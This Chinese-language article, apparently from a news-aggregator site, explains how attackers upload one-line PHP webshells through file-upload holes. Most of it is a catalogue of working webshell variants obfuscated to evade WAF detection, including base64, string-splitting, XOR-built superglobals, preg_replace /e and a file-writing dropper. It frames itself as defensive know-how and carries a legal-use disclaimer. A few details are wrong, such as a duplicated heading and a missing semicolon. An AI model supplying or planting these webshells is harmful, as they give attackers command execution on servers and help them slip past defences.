今天來和大家聊一聊,一句話木馬的多種變形方式。
經常有客戶的網站碰到被上傳小馬和大馬,這裡的“馬”是木馬的意思,可不是真實的馬。
通常,攻擊者利用文件上傳漏洞,上傳一個可執行并且能被解析的腳本文件,通過這個腳本來獲得服務器端執行命令的能力,也就是我們經常聽到的WebShell,而這個腳本文件就是我們常說的大馬和小馬。
1、都有些什麼“馬”?體積小,功能少,優點在于不易被發現,功能單一,常作為上傳大馬的跳闆。
體積大,功能強大,但是易被發現。
在小馬和大馬之外衍生出的另一種木馬,隻需短短一行代碼,再結合WebShell工具(如菜刀、蟻劍、冰蠍等等)就能做到與大馬能力相當的功能(執行命令行、文件上傳、文件下載等功能)。
随着一句話木馬的濫用,普通的一句話木馬都已經逃不過waf的檢測了,為了逃避waf的檢測,一句話木馬開始了他的變形之旅。
2、一句話木馬的變形之路環境介紹:
解析語言:php(版本:5.6.27)
WebShell工具:蟻劍
【最初的一句話】
制作一句話:
<?php @eval($_POST['juminfo']);?>
<?php @assert($_POST['juminfo']);?>
圖 1 最簡單的一句話木馬
找到具有上傳漏洞的站點,将該腳本上傳,并訪問。發現是一片空白,可以說明該木馬能被解析。
圖 2 訪問腳本
使用蟻劍連接。
圖 3 蟻劍連接
連接成功,獲得WebShell。
圖 4 獲得webshell
這樣的木馬雖然簡單,但是他明顯的關鍵字很容易就被各類waf檢測到。
為了繞過waf,我們的思路可以更寬一些,主要的思路有大小寫混淆,字符編碼,分散特征碼等。
【create_function函數】
腳本内容:
<?php
$fun = create_function('',$_POST['juminfo']);
$fun();
?>
把用戶傳遞的數據生成一個函數fun(),然後再執行fun()。
【create_function函數】
腳本内容:
<?php
@call_user_func(assert,$_POST['juminfo']);
?>
call_user_func這個函數可以調用其它函數,被調用的函數是call_user_func的第一個函數,被調用的函數的參數是call_user_func的第二個參數。這樣的一個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函數繞過waf。
【preg_replace函數】
腳本内容:
<?php
@preg_replace("/abcde/e", $_POST['juminfo'], "abcdefg");
?>
這個函數原本是利用正則表達式替換符合條件的字符串,但是這個函數有一個功能——可執行命令。這個函數的第一個參數是正則表達式,按照PHP的格式,表達式在兩個“/”之間。如果我們在這個表達式的末尾加上“e”,那麼這個函數的第二個參數就會被當作代碼執行。
【file_put_contents函數】
腳本内容:
<?php
$test='<?php $a=$_POST["juminfo"];assert($a); ?>';
file_put_contents("hello.php", $test);
?>
使用方法:先用浏覽器訪問,生成新的文件"hello.php",再連接"hello.php"。
利用函數生成文件,第一個參數是文件名,第二個參數是文件的内容。
【PHP變量函數】
腳本内容:
<?php
$a = "assert";
$a(@$_POST['juminfo']);
?>
第三行使用了變量函數$a,變量儲存了函數名eval,便可以直接用變量替代函數名。
【PHP可變變量】
腳本内容:
<?php
$bb="assert";
$a="bb";
$$a(@$_POST['juminfo']);
?>
通過上一個語句進行的多一層變化:$$a = $($a) = $ (‘bb’) = $bb = "assert"
【str_replace函數】
腳本内容:
<?php
$a=str_replace("juminfo", "", "assjuminfoert");
$a(@$_POST['juminfo']);
?>
在第三個參數中,查找第一個參數,并替換成第二個參數。這裡第二個參數為空字符串,就相當于删除"juminfo"。
【base64_decode函數】
腳本内容:
<?php
$a=base64_decode("YXNzZXJ0")
$a($_POST['juminfo']);
?>
這裡是base64解密函數,"YXNzZXJ0"是assert的base64加密。
【"."操作符】
腳本内容:
<?php
$a="as"."s";
$b="er"."t";
$c=$a.$b;
$c($_POST['juminfo']);
?>
【運算符變形】
腳本内容:
<?php
@$_ ;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>
當我第一次看到這個腳本的時候,一頭霧水,這是什麼東西?
後來用echo打印出三個變量$_ 、$__、$___可以看到他們的值分别為1、_GET、_POST,放入最後一條語句中剛好組成一個兩層的一句話木馬。<?php $_GET[0]($_POST[1])?>
隻要我們将0賦值為assert就可以構成經典的一句話<?php assert($_POST[1])?>,密碼是1。
圖 5 二層一句話木馬的連接方式
3、總結一句話的混淆方式還有很多很多,基于以上的變形思路還能夠衍生出無數新的變種木馬,為了更好地防止“被放馬”的事件發生,我們應該及時對使用的安全産品進行更新,才能讓“馬”無處可走。
免責聲明:本文提及的技術僅可用于私人學習測試等合法場景中,任何不當利用該技術所造成的刑事、民事責任均與本文作者無關。
,更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!